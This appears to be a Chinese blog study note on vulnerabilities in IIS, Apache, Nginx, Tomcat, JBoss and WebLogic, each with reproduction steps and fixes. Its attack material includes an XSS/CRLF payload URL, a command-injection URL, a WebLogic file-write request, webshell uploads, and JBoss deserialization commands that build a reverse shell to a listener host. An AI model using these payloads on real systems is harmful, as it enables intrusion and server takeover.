Web中間件常見漏洞總結

2020 年 7 月 9 日
筆記
Web安全

IIS

IIS是Internet Information Services的縮寫，意為互聯網信息服務，是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。 IIS目前只適用於Windows系統，不適用於其他操作系統。

解析漏洞

IIS 6.X

基於文件名

該版本默認會將 *.asp;.jpg 此種格式的文件名，當成Asp解析，原理是服務器默認不解析; 號及其後面的內容，相當於截斷。

基於文件夾名

該版本默認會將 *.asp/目錄下的所有文件當成Asp解析。

另外，IIS6.x除了會將擴展名為.asp的文件解析為asp之外，還默認會將擴展名為.asa，.cdx，.cer解析為asp，從網站屬性->主目錄->配置可以看出，他們都是調用了asp.dll進行的解析。

修復建議

由於微軟並不認為這是一個漏洞，也沒有推出IIS 6.0的補丁，因此漏洞需要自己修復。

1. 限制上傳目錄執行權限，不允許執行腳本

2. 不允許新建目錄。
3. 上傳的文件需經過重命名(時間戳+隨機數+.jpg等)

IIS 7.x

安裝IIS7.5，

1.控制面板 -> 程序 -> 打開或關閉windows功能。

2.下載php-5.2.6-win32-installer.msi (//windows.php.net/downloads/releases/archives/)
3.打開msi，一直下一步來到選擇web server setup的界面，在這裡選擇IIS fastcgi,之後一直下一步。
4.打開IIS，管理工具 ->Internet 信息服務(IIS)管理器
5.選擇編輯ISAPI或者CGI限制

添加安裝的php-cgi.exe路徑，描述隨意

6.返回第五步的第一個圖片位置，點擊處理程序映射，添加如下。

7.phpinfo測試

IIS7.x版本在Fast-CGI運行模式下,在任意文件，例：test.jpg後面加上/.php，會將test.jpg 解析為php文件。

修復建議

配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序

結果如下:

PUT任意文件寫入

IIS Server 在 Web 服務擴展中開啟了 WebDAV之後，支持多種請求，配合寫入權限，可造成任意文件寫入。

修復建議
關閉WebDAV 和寫權限

IIS短文件漏洞

Windows 以 8.3 格式生成與 MS-DOS 兼容的（短）文件名，以允許基於 MS-DOS 或 16 位 Windows的程序訪問這些文件。在cmd下輸入”dir /x”即可看到短文件名的效果。

IIS短文件名產生：

1.當後綴小於4時，短文件名產生需要文件(夾)名前綴字符長度大於等於9位。

2.當後綴大於等於4時，文件名前綴字符長度即使為1，也會產生短文件名。

目前IIS支持短文件名猜測的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。 IIS 8.0之後的版本只能通過OPTIONS和TRACE方法被猜測成功。

復現：
IIS8.0以下版本需要開啟ASP.NET支持，IIS大於等於8.0版本,即使沒有安裝ASP.NET，通過OPTIONS和TRACE方法也可以猜解成功。以下通過開啟IIS6.0 ASP.NET後進行復現。

當訪問構造的某個存在的短文件名，會返回404:

當訪問構造的某個不存在的短文件名，會返回400：

IIS短文件漏洞局限性：

1) 如果文件名本身太短也是無法猜解的；

2) 此漏洞只能確定前6個字符，如果後面的字符太長、包含特殊字符，很難猜解；

3) 如果文件名前6位帶空格，8.3格式的短文件名會補進，和真實文件名不匹配；

4) 如果文件夾名前6位字符帶點”.”，掃描程序會認為是文件而不是文件夾，最終出現誤報；

5) 不支持中文文件名，包括中文文件和中文文件夾。一個中文相當於兩個英文字符，故超過4個中文字會產生短文件名，但是IIS不支持中文猜測。

IIS短文件利用工具：//github.com/irsdl/IIS-ShortName-Scanner

修復建議
1）從CMD命令關閉NTFS 8.3文件格式的支持
Windows Server 2003： (1代表關閉，0代表開啟）關閉該功能：fsutil behavior set disable8dot3 1

Windows Server 2008 R2：
查詢是否開啟短文件名功能：fsutil 8dot3name query

關閉該功能：fsutil 8dot3name set 1
不同系統關閉命令稍有區別，該功能默認是開啟的.
2）或從修改註冊表關閉NTFS 8.3文件格式的支持
快捷鍵Win+R打開命令窗口，輸入regedit打開註冊表窗口
找到路徑： HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1，1代表不創建短文件名格式

以上兩種方式修改完成後，均需要重啟系統生效。
Note:此方法只能禁止NTFS8.3格式文件名創建,已經存在的文件的短文件名無法移除，需要重新複製才會消失。例:將web文件夾的內容拷貝到另一個位置，如c:\www到c:\ww,然後刪除原文件夾，再重命名c:\ww到c:\www。

HTTP.SYS遠程代碼執行(MS15-034)

影響範圍： Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
復現：
在Windows7上安裝IIS7.5

1.訪問。

2.編輯請求頭，增加Range: bytes=0-18446744073709551615字段，若返回碼狀態為416 Requested Range Not Satisfiable，則存在HTTP.SYS遠程代碼執行漏洞

漏洞有點雞肋，配合其他漏洞使用還是可以用用的，具體使用可轉至MSF中。
修復建議
安裝修復補丁（KB3042553）

Apache

Apache是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平台上，由於其跨平台和安全性被廣泛使用，是最流行的Web服務器端軟件之一。它快速、可靠並且可通過簡單的API擴充，將Perl/Python等解釋器編譯到服務器中。

解析漏洞

未知擴展名解析漏洞
Apache的解析漏洞依賴於一個特性： Apache默認一個文件可以有多個以點分割的後綴，當最右邊的後綴無法識別（不在默認一個文件可以有多個以點分割的後綴，當最右邊的後綴無法識別（不在mime.types文件），則繼續向左識別，直到識別到合法後綴才進行解析

復現：這裡使用phpstudy進行復現。

下載地址： //phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip
訪問phpinfo.php.xxx

實戰中可以上傳rar，owf等文件進行利用，如果上傳phpinfo.php.jpg，即使文件名中有.php，也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。

AddHandler導致的解析漏洞

如果運維人員給.php後綴增加了處理器：

AddHandler application/x-httpd-php .php

那麼，在有多個後綴的情況下，只要一個文件名中含有.php後綴，即被識別成PHP文件，沒必要是最後一個後綴。利用這個特性，將會造成一個可以繞過上傳白名單的解析漏洞。
復現：

即使最右邊的文件格式是在mime.types文件內，只要文件名中出現.php，就直接被解析為php。

Apache HTTPD 換行解析漏洞

影響範圍：2.4.0~2.4.29版本

環境：phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因，在於$, 正則表達式中$不僅匹配字符串結尾位置，也可以匹配\n 或 \r
在解析PHP時，1.php\x0A將被按照PHP後綴進行解析，導致繞過一些服務器的安全策略。

<FilesMatch \.php$>
    SetHandler application/x-httpd-php 
</FilesMatch>

測試代碼：

<html>
 <body>
    <form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="text" name="name" />
    <input type="submit" value="上傳文件" />
    </form>
 </body> 
</html>

<?php 
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file'); 
   } 
echo "ok"; 
   move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); 
}
 ?>

點擊Go後，效果如下:

相同代碼在Linux下進行測試，可以正常寫入。

訪問：

限制：獲取文件名時不能用$_FILES[‘file’][‘name’]，因為它會自動把換行去掉。

修復建議 ：
1. 升級到最新版本

2. 或將上傳的文件重命名為為時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行腳本權限。

Nginx

Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件（IMAP/POP3）代理服務器，在BSD-like 協議下發行。其特點是佔有內存少，並發能力強，事實上nginx的並發能力確實在同類型的網頁服務器中表現較好。

Nginx配置文件錯誤導致的解析漏洞

對於任意文件名，在後面添加/xxx.php（xxx為任意字符）後,即可將文件作為php解析。

例：info.jpg後面加上/xxx.php，會將info.jpg 以php解析。
這裡使用phpstudy2014 ，Nginx + PHP5.3n進行復現(以下復現若無特別說明均採用此環境)

結果：

該漏洞是Nginx配置所導致，與Nginx版本無關，下面是常見的漏洞配置。

當攻擊者訪問/info.jpg/xxx.php時， Nginx將查看URL，看到它以.php結尾，並將路徑傳遞給PHP fastcgi處理程序。

Nginx傳給php的路徑為c:/WWW/info.jpg/xxx.php, 在phpinfo中可以查看_SERVER[“ORIG_SCRIPT_FILENAME”]得到。

PHP根據URL映射，在服務器上尋找xxx.php文件，但是xxx.php不存在，又由於cgi.fix_pathinfo默認是開啟的，因此PHP會繼續檢查路徑中存在的文件，並將多餘的部分當作 PATH_INFO。接着PHP在文件系統中找到.jpg文件，而後以PHP的形式執行.jpg的內容，並將/xxx.php存儲在 PATH_INFO 後丟棄，因此我們在phpinfo中的$_SERVER[‘PATH_INFO’]看的到值為空。

Note: php的一個選項：cgi.fix_pathinfo，該選項默認開啟，值為1，用於修理路徑，例如：當php遇到文件路徑”/info.jpg/xxx.php/lxh.sec”時，若”/info.jpg/xxx.php/lxh.sec”不存在，則會去掉最後的”/lxh.sec”，然後判斷”/info.jpg/xxx.php”是否存在, 若存在則將/info.jpg/xxx.php當作文件/info.jpg/xxx.php/lxh.sec，若/info.jpg/xxx.php仍不存在，則繼續去掉xxx.php,依此類推。

修復建議
1.配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序。

2.或如果需要使用到cgi.fix_pathinfo這個特性（例如：Wordpress），那麼可以禁止上傳目錄的執行腳本權限。或將上傳存儲的內容與網站分離，即站庫分離。
3.或高版本PHP提供了security.limit_extensions這個配置參數，設置security.limit_extensions = .php

Nginx 空位元組任意代碼執行漏洞

影響版本：Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37
Windows環境 Nginx 0.7.65+php 5.3.2
在nginx-0.7.65/html/目錄下創建info.jpg,內容為<?php phpinfo();?>,
訪問info.jpg，並抓包，修改為info.jpg..php，在Hex選修卡中將jpg後面的.，更改為00.

Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析。

Nginx 文件名邏輯漏洞（CVE-2013-4547）

影響版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
使用Vulhub的docker進行復現。
訪問//your-ip:8080/ 上傳文件

訪問//your-ip:8080/uploadfiles/info.jpg, 並抓包，修改為info.jpg…php, 在Hex選修卡中將jpg後面的兩個點2e改成20,00 點擊Go,如下。

Note:該漏洞不受cgi.fix_pathinfo影響，當其為0時，依舊解析，在Windows上有所限制。
修復建議
1. 設置security.limit_extensions = .php

2. 或升級Nginx

Nginx 配置錯誤導致的安全問題

CRLF注入

查看Nginx文檔，可以發現有三個表示uri的變量：

1.$uri

2.$document_uri

3.$request_uri
1和2表示的是解碼以後的請求路徑，不帶參數；3表示的是完整的URI（沒有解碼）
Nginx會將1，2進行解碼，導致傳入%0a%0d即可引入換行符，造成CRLF注入漏洞。

錯誤配置:

訪問：

//127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E

將返回包的Location端口設置為小於80，使得瀏覽器不進行跳轉，執行XSS。

結果：

修復建議

目錄穿越

Nginx在配置別名（Alias）的時候，如果忘記加/，將造成一個目錄穿越漏洞。
錯誤的配置文件示例（原本的目的是為了讓用戶訪問到C:/WWW/home/目錄下的文件）：

location /files {
    autoindex on;
    alias c:/WWW/home/;
 }

結果：

修復建議
只需要保證location和alias的值都有後綴/或都沒有/這個後綴。

目錄遍歷

當Nginx配置文件中，autoindex 的值為on時，將造成一個目錄遍歷漏洞。

結果：

修復建議
將autoindex 的值為置為off。

add_header被覆蓋

Nginx的配置文件分為Server、Location等一些配置塊，並且存在包含關係，子塊會繼承父塊的一些選項，比如add_header

如下配置中，整站（父塊中）添加了CSP頭：

正常情況下訪問:

當訪問 /test2時，XSS被觸發。因/test2的location中添加了X-Content-Type-Options頭，導致父塊中的add_header全部失效。

Tomcat

Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器，屬於輕量級應用服務器，在中小型系統和並發訪問用戶不是很多的場合下被普遍使用，是開發和調試JSP 程序的首選。對於一個初學者來說，可以這樣認為，當在一台機器上配置好Apache服務器，可利用它響應HTML（標準通用標記語言下的一個應用）頁面的訪問請求。實際上Tomcat是Apache服務器的擴展，但運行時它是獨立運行的，所以當運行tomcat 時，它實際上作為一個與Apache獨立的進程單獨運行的。

Tomcat 任意文件寫入（CVE-2017-12615）

環境：Tomcat/8.0.30
漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫（readonly=false），導致我們可以往服務器寫文件：

增加完配置之後，記得重啟Tomcat，效果如下:

當readonly=true時，效果如下：

修復建議
將readonly=true，默認為true。

Tomcat 遠程代碼執行（CVE-2019-0232）

影響範圍：9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 ， 7.0.0 ~ 7.0.93

影響系統： Windows
測試環境：

Apache Tomcat v8.5.39 J

DK 1.8.0_144

修改配置：

web.xml

content.xml

在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄，並創建lxhsec.bat文件，內容任意。

訪問//127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

執行命令//127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

Note:net命令的路徑要寫全，直接寫net user，Tomcat控制台會提示net不是內部命令，也不是可運行的程序，另必須使用+號連接，使用空格，%2B都會執行失敗，控制台報錯

Tomcat + 弱口令 && 後台getshell漏洞

環境：Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用戶的權限：

<tomcat-users>
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> 
</tomcat-users>

正常安裝的情況下，tomcat7.0.94中默認沒有任何用戶，且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下，才可以進行攻擊。
訪問 //127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat，登陸後台。

部署後，訪問 //127.0.0.1:8080/war包名/包名內文件名, 如下。

修復建議

1. 若無必要，取消manager/html功能。

2. 若要使用，manager頁面應只允許本地IP訪問

Tomcat manager App 暴力破解

環境：Apache Tomcat/7.0.94
訪問：//127.0.0.1:8080/manager/html, 輸入密碼，抓包，如下。

剛才輸入的賬號密碼在HTTP字段中的Authorization中，規則為Base64Encode(user:passwd)

修復建議
1. 若無必要，取消manager/html功能。

2. 若要使用，manager頁面應只允許本地IP訪問

JBoss

jBoss是一個基於J2EE的開發源代碼的應用服務器。 JBoss代碼遵循LGPL許可，可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器，支持EJB1.1、EJB 2.0和EJB3的規範。但JBoss核心服務不包括支持servlet/JSP的WEB容器，一般與Tomcat或Jetty綁定使用。
默認端口:8080,9990

Windows下Jboss安裝：

1. 下載 //jbossas.jboss.org/downloads/

2. 解壓，我這裡解壓後的目錄為：C:\jboss-6.1.0.Final

3. 新建環境變量：

JBOSS_HOME 值為： C:\jboss-6.1.0.Final

在path中加入：;%JBOSS_HOME%\bin;

4. 打開C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info消息，即配置成功

Note:注意JDK版本要在1.6~1.7之間，1.8版本jBoss運行打開 JMX Console會出現500錯誤。

jboss默認部署路徑：C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

設置外網訪問:

打開C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

將address=”${jboss.bind.address}” 設置為address=”0.0.0.0″ ,並重啟JBoss

JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）

訪問 /invoker/readonly 返回500，說明頁面存在，此頁面存在反序列化漏洞。

利用工具：//github.com/joaomatosf/JavaDeserH2HC

我們選擇一個Gadget：ReverseShellCommonsCollectionsHashMap，編譯並生成序列化數據：

生成ReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666（ip是nc所在的ip）

利用：

curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

或者

java反序列化終極測試工具

JBoss JMXInvokerServlet 反序列化漏洞

訪問 /invoker/JMXInvokerServlet

返回如下，說明接口開放，此接口存在反序列化漏洞。

這裡直接利用CVE-2017-12149生成的ser，發送到/invoker/JMXInvokerServlet接口中。

如下：

JBoss EJBInvokerServlet 反序列化漏洞

訪問 /invoker/EJBInvokerServlet

返回如下，說明接口開放，此接口存在反序列化漏洞

這裡直接利用CVE-2017-12149生成的ser，發送到/invoker/EJBInvokerServlet接口中。

如下：

修復建議

1. 不需要 http-invoker.sar 組件的用戶可直接刪除此組件。路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除後訪問404.

2. 或添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中，對 http invoker 組件進行訪問控制：

<url-pattern>/*</url-pattern>

路徑為：C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

JBoss <=4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504)

環境:jboss-4.2.3
設置外網訪問:

在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml

將address=”${jboss.bind.address} 改為：address=”0.0.0.0″, 重啟Jboss

訪問/jbossmq-httpil/HTTPServerILServlet，

返回This is the JBossMQ HTTP-IL，說明頁面存在，此頁面存在反序列化漏洞。

這裡直接利用CVE-2017-12149生成的ser，發送到/jbossmq-httpil/HTTPServerILServlet接口中。

如下

Administration Console 弱口令

Administration Console管理頁面存在弱口令，admin:admin，登陸後台上傳war包。

1. 點擊Web Application (WAR)s

2. Add a new resource，上傳war包

將jsp馬打包成war包 jar -cvf shell.war api_all_jdk.jsp

上傳

3. 點擊創建的war包進入下一層，若狀態為stop，點擊Start按鈕（默認都是start狀態，不需要點擊Start按鈕）

4. 訪問。 //xx.xx.xx.xx/[warname]/shellname.jsp

連接天蠍

修復建議

1. 修改密碼

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

2. 或刪除Administration Console頁面。

JBoss版本>=6.0，admin-console頁面路徑為： C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本，路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

JMX Console未授權訪問

JMX Console默認存在未授權訪問，直接點擊JBoss主頁中的JMX Console鏈接進入JMX Console頁面

1. 在JMX Console頁面點擊jboss.system鏈接，在Jboss.system頁面中點擊service=MainDeployer，如下

2. 進入service=MainDeployer頁面之後，找到methodIndex為17 or 19的deploy 填寫遠程war包地址進行遠程部署。

3. 這裡我部署的war包為lxh.war，鏈接如下：

//192.168.31.205:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=//192.168.31.205/lxh.war

4. 訪問

//xx.xx.xx.xx/[warname]/shellname.jsp

修復建議

1. 增加密碼措施，防止未授權訪問。

1）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml開啟安全配置。

2）在C:\jboss-6.1.0.Final\common\deploy\jmx-console.war\WEB-INF\web.xml開啟安全認證

3）在C:\jboss-6.1.0.Final\server\default\conf\login-config.xml中可以看到JMX Console的用戶密碼配置位置。

4）配置用戶密碼以及用戶權限，這裡新增lxhsec用戶。

5）重啟JBoss，效果如下

2.或刪除JMX Console,後重啟JBoss

C:\jboss-6.1.0.Final\common\deploy\jmx-console.war

WebLogic

WebLogic是美國Oracle公司出品的一個applicationserver，確切的說是一個基於JAVAEE架構的中間件，WebLogic是用於開發、集成、部署和管理大型分佈式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。

默認端口:7001
測試環境版本：10.3.6

下載地址：//download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_win32.exe? AuthParam=1559386164_88cf328d83f60337f08c2c94ee292954
下載完成後雙擊運行，一直點下一步就ok了。

安裝完成之後，在C:\Oracle\Middleware\user_projects\domains\base_domain這個目錄雙擊startWebLogic.cmd啟動Weblogic服務。
瀏覽器訪問：//127.0.0.1:7001/, 界面上出現Error 404–Not Found，即啟動成功。

登錄到weblogic控制台頁面，輸入用戶名和密碼，登錄到控制台裏面

設置外網訪問，在域結構 -> 環境 -> 服務器右邊選擇相應的Server（管理服務器），打開進行編輯，在監聽地址:中填入0.0.0.0，保存後，重啟Weblogic服務器即可。

以下復現若無特別說明均採用Weblogic 10.3.6

XMLDecoder 反序列化漏洞（反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）

Weblogic的WLS Security組件對外提供webservice服務，其中使用了XMLDecoder來解析用戶傳入的XML數據，在解析的過程中出現反序列化漏洞，導致可執行任意命令.

訪問 /wls-wsat/CoordinatorPortType

返回如下頁面，則可能存在此漏洞。

漏洞不僅存在於 /wls-wsat/CoordinatorPortType 。只要是在wls-wsat包中的Uri皆受到影響，可以查看web.xml得知所有受到影響的Uri，路徑為:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

默認受到影響的Uri如下：

/wls-wsat/CoordinatorPortType 
/wls-wsat/RegistrationPortTypeRPC 
/wls-wsat/ParticipantPortType 
/wls-wsat/RegistrationRequesterPortType 
/wls-wsat/CoordinatorPortType11 
/wls-wsat/RegistrationPortTypeRPC11 
/wls-wsat/ParticipantPortType11 
/wls-wsat/RegistrationRequesterPortType11

構造寫入文件數據包發送，如下，其中Content-Type需要等於text/xml,否則可能導致XMLDecoder不解析。

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1 
Host: 127.0.0.1:7001 
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: text/xml 
Connection: close Content-Length: 629

<soapenv:Envelope xmlns:soapenv="//schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="//bea.com/2004/06/soap/workarea/">
    <java>
        <object class="java.io.PrintWriter">
        <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
        <void method="println">
        <string>
                <![CDATA[
            <% out.print("test777776666666"); %>
                ]]>
            </string>
        </void>
        <void method="close"/>
        </object>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
 </soapenv:Envelope>

XML構造方法：//docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

訪問 /bea_wls_internal/test33.jsp,如下：

CVE-2017-3506的補丁加了驗證函數，補丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 驗證Payload中的節點是否存在object Tag。

我們將object換成void就可繞過此補丁，產生了CVE-2017-10271。

或者直接只用java反序列化漏洞利用工具

修復建議

1）安裝補丁。

2）或刪除wls-wsat組件，再次訪問返回404.

1.刪除 C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
2.刪除 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war
3.刪除 C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat
4.重啟Weblogic

Note：wls-wsat.war屬於一級應用包，對其進行移除或更名操作可能造成未知的後果，Oracle官方不建議對其進行此類操作。

Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞（CVE-20192725）

影響組件：bea_wls9_async_response.war, wls-wsat.war

影響版本：10.3.6.0, 12.1.3.0

bea_wls9_async_response.war

訪問 /_async/AsyncResponseService

返回如下頁面，則可能存在此漏洞。

漏洞不僅存在於 /_async/AsyncResponseService

只要是在bea_wls9_async_response包中的Uri皆受到影響，可以查看web.xml得知所有受到影響的Uri，路徑為：

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

默認受到影響的Uri如下：

/_async/AsyncResponseService 
/_async/AsyncResponseServiceJms 
/_async/AsyncResponseServiceHttps

wls-wsat.war受影響的URI見XMLDecoder 反序列化漏洞（CVE-2017-10271 & CVE-2017-3506）
此漏洞實際上是CVE-2017-10271的又一入口，它繞過了CVE-2017-10271的補丁，執行REC.

怎麼繞過CVE-2017-10271的補丁，執行REC的呢?

先來看一下CVE-2017-10271的補丁代碼：

其中CVE-2017-3506的補丁是過濾了object，CVE-2017-10271的補丁是過濾了new，method標籤，且void後面只能跟index，array後面可以跟class，但是必須要是byte類型的。

繞過CVE-2017-10271補丁是因為class標籤未被過濾所導致的，這點我們可以從Oracle 發佈的CVE-2019-2725補丁看出來， CVE-2019-2725補丁新增部分內容，將class加入了黑名單，限制了array標籤中的byte長度。如下：

利用：

Weblogic WLS Core Components 反序列化命令執行漏洞（CVE-2018-2628）

Weblogic Server WLS Core Components反序列化命令執行漏洞（CVE-2018-2628），該漏洞通過t3協議觸發，可導致未授權的用戶在遠程服務器執行任意命令。

使用 //www.exploit-db.com/exploits/44553 中的腳本進行復現,具體使用方法見腳本。

Kail Attack ：192.168.0.162

server08 victim : 192.168.0.163

Kail 執行

1）下載ysoserial.jar

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2）使用ysoserial.jar，啟動JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中，[command]是想執行的命令，而[listen port]是JRMP Server監聽的端口。這裡我執行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user vege vege /add'

3）執行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中，[victim ip]和[victim port]是目標weblogic的IP和端口，[path to ysoserial]是本地（Kail系統上的）ysoserial的路徑，[JRMPListener ip]和[JRMPListener port]第一步中啟動JRMP Server的IP地址和端口。[JRMPClient]是執行JRMPClient的類，可選的值是JRMPClient或JRMPClient2

這裡我執行

python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2

結果如下：

修復建議

1.過濾t3協議。

在域結構中點擊安全->篩選器

連接篩選器填: weblogic.security.net.ConnectionFilterImpl 保存後重啟Weblogic.

kail再次攻擊，Exp將報錯。

連接篩選器規則可參考官方文檔 //docs.oracle.com/cd/E12839_01/web.1111/e13711/con_filtr.htm#SCPRG386

Weblogic 任意文件上傳漏洞（CVE-2018-2894）

Weblogic Web Service Test Page中一處任意文件上傳漏洞，Web Service Test Page 在”生產模式”下默認不開啟，所以該漏洞有一定限制。

影響版本：12.1.3.0, 12.2.1.2, 12.2.1.3

官網下載Weblogic 12.1.3.0
安裝的時候將Weblogic放在Java JDK的bin目錄下，防止出現因環境變量帶空格導致的錯誤，安裝過程一直點擊下一步即可。

以下復現是在Weblogic開發模式下進行的，若需在生產模式下進行復現，則需要登錄後台頁面，點擊base_domain的配置，在”高級”設置中開啟 “啟用 Web 服務測試頁” 選項，經過我的驗證發現開啟之後，不僅需要賬號密碼登陸，即使登陸了也沒有這兩處上傳點。

第一個上傳點：

訪問 ws_utc/config.do，設置Work Home Dir為ws_utc應用的靜態文件css目錄C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css，因為訪問這個目錄是無需權限的，提交後，點擊左側安全-> 添加，然後上傳Webshell

點擊提交並抓包，獲取響應數據包中的時間戳。

然後訪問 //127.0.0.1:7001/ws_utc/css/config/keystore/[時間戳]_[文件名]，即可執行webshell：

第二個上傳點：

訪問 ws_utc/begin.do，點擊右上角的文件夾，上傳Webshell，點擊提交，並抓包。

在返回數據包中得到Webshell路徑。

然後訪問//127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp

Note:

1）ws_utc/begin.do 使用的工作目錄是在使用的工作目錄是在ws_utc/config.do中設置的中設置的Work Home Dir。

2）利用需要知道部署應用的web目錄。

3）在生產模式下默認不開啟，在後台開啟之後，需要認證

修復建議

啟動生產模式：

編輯domain路徑下的setDomainEnv.cmd文件，將set PRODUCTION_MODE= 更改為 set PRODUCTION_MODE=true C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd

目前生產模式下已取消這兩處上傳文件的地方。

Weblogic SSRF漏洞（CVE-2014-4210）

影響版本：10.0.2.0, 10.3.6.0

訪問 /uddiexplorer/SearchPublicRegistries.jsp，若能正常訪問，則可能存在此漏洞，填寫任意信息，如下

點擊Search，並抓包，抓包之後在Burp中右鍵，選擇Change request method, 將POST請求改變成GET

參數operator為SSRF的可控參數，將其更改為開放的端口，如//127.0.0.1:7001/，將返回error code

若開放端口為HTTP協議，則會返回did not have a valid SOAP content-type。

訪問不存在的端口，將返回could not connect over HTTP to server

通過返回數據包中的錯誤信息，即可探測內網狀態。

修復建議
刪除SearchPublicRegistries.jsp文件或修改SearchPublicRegistries.jsp文件後綴為不解析後綴，如SearchPublicRegistries.jspxxx，後重啟Weblogic，再次訪問，如下：

SearchPublicRegistries.jsp路徑為：

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war

